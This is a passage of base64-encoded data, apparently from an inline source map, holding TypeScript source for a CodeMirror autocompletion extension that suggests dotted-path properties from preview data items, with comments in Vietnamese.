N0IGJ1aWxkQ29tcGxldGlvbkV4dGVuc2lvbiA9IChpdGVtczogSVByZXZpZXdUZXh0RGF0YUNvbXBsZXRpb25JdGVtW10pOiBFeHRlbnNpb24gPT4ge1xuICBjb25zdCBjb21wbGV0aW9uU291cmNlID0gKGNvbnRleHQ6IENvbXBsZXRpb25Db250ZXh0KTogQ29tcGxldGlvblJlc3VsdCB8IG51bGwgPT4ge1xuICAgIC8vIENobyBwaMOpcCBwYXRoIG5oaeG7gXUgY+G6pXAgKGEuYi5jLikg4oCUIFtcXHcuXSsgYuG6r3QgdHLhu41uIGNodeG7l2kgdHLGsOG7m2MgY29uIHRy4buPLlxuICAgIGNvbnN0IGRvdE1hdGNoID0gY29udGV4dC5tYXRjaEJlZm9yZSgvW1xcdy5dK1xcLlxcdyovKTtcbiAgICBpZiAoZG90TWF0Y2gpIHtcbiAgICAgIGNvbnN0IHNlZ21lbnRzID0gZG90TWF0Y2gudGV4dC5zcGxpdCgnLicpO1xuICAgICAgY29uc3QgcGFydGlhbCA9IHNlZ21lbnRzW3NlZ21lbnRzLmxlbmd0aCAtIDFdOyAvLyBwaOG6p24gxJFhbmcgZ8O1IGThu58gc2F1IGThuqV1ICcuJyBjdeG7kWlcbiAgICAgIGNvbnN0IHBhdGhTZWdtZW50cyA9IHNlZ21lbnRzLnNsaWNlKDAsIC0xKTsgLy8gY8OhYyBj4bqlcCDEkcOjIGhvw6BuIHThuqV0XG5cbiAgICAgIGxldCBjdXJyZW50ID0gaXRlbXMuZmluZCgoaXRlbSkgPT4gaXRlbS5sYWJlbCA9PT0gcGF0aFNlZ21lbnRzWzBdKTtcbiAgICAgIGZvciAobGV0IGxldmVsID0gMTsgbGV2ZWwgPCBwYXRoU2VnbWVudHMubGVuZ3RoICYmIGN1cnJlbnQ7IGxldmVsKyspIHtcbiAgICAgICAgY3VycmVudCA9IGN1cnJlbnQucHJvcGVydGllcz8uZmluZCgocHJvcGVydHkpID0+IHByb3BlcnR5LmxhYmVsID09PSBwYXRoU2VnbWVudHNbbGV2ZWxdKTtcbiAgICAgIH1cbiAgICAgIGlmIChjdXJyZW50Py5wcm9wZXJ0aWVzPy5sZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIHtcbiAgICAgICAgICBmcm9tOiBjb250ZXh0LnBvcyAtIHBhcnRpYWwubGVuZ3RoLFxuICAgICAgICAgIG9wdGlvbnM6IGN1cnJlbnQucHJvcGVydGllcy5tYXAoKHApID0+ICh7IGxhYmVsOiBwLmxhYmVsLCB0eXBlOiBwLnR5cGUgPz8gJ3Byb3BlcnR5JywgZGV0YWlsOiBwLmRldGFpbCA/PyAnJywgaW5mbzogcC5pbmZvID8/ICcnIH0pKSxcbiAgICAgICAgfTtcbiAgICAgIH1cbiAgICB9XG4gICAgY29uc3Qgd29yZCA9IGNvbnRleHQubWF0Y2hCZWZvcmUoL1xcdyovKTtcbiAgICBpZiAoIXdvcmQgfHwgKHdvcmQuZnJvbSA9PT0gd29yZC50byAmJiAhY29udGV4dC5leHBsaWNpdCkpIHJldHVybiBudWxsO1xuXG4gICAgcmV0dXJuIHtcbiAgICAgIGZyb206IHdvcmQuZnJvbSxcbiAgICAgIG9wdGlvbnM6IGl0ZW1zLm1hcCgoaXRlbSkgPT4gKHsgbGFiZWw6IGl0ZW0ubGFiZWwsIHR5cGU6IGl0ZW0udHlwZSA/PyAndmFyaWFibGUnLCBkZXRhaWw6IGl0ZW0uZGV0YWlsID8/ICcnLCBpbmZvOiBpdGVtLmluZm8gPz8gJycgfSkpLFxuICAgIH07XG4gIH07XG5cbiAgcmV0dXJuIGF1dG9jb21wbGV0aW9uKHsgb3ZlcnJpZGU6IFtjb21wbGV0aW9uU291cmNlXSB9KTtcbn07XG4iXX0=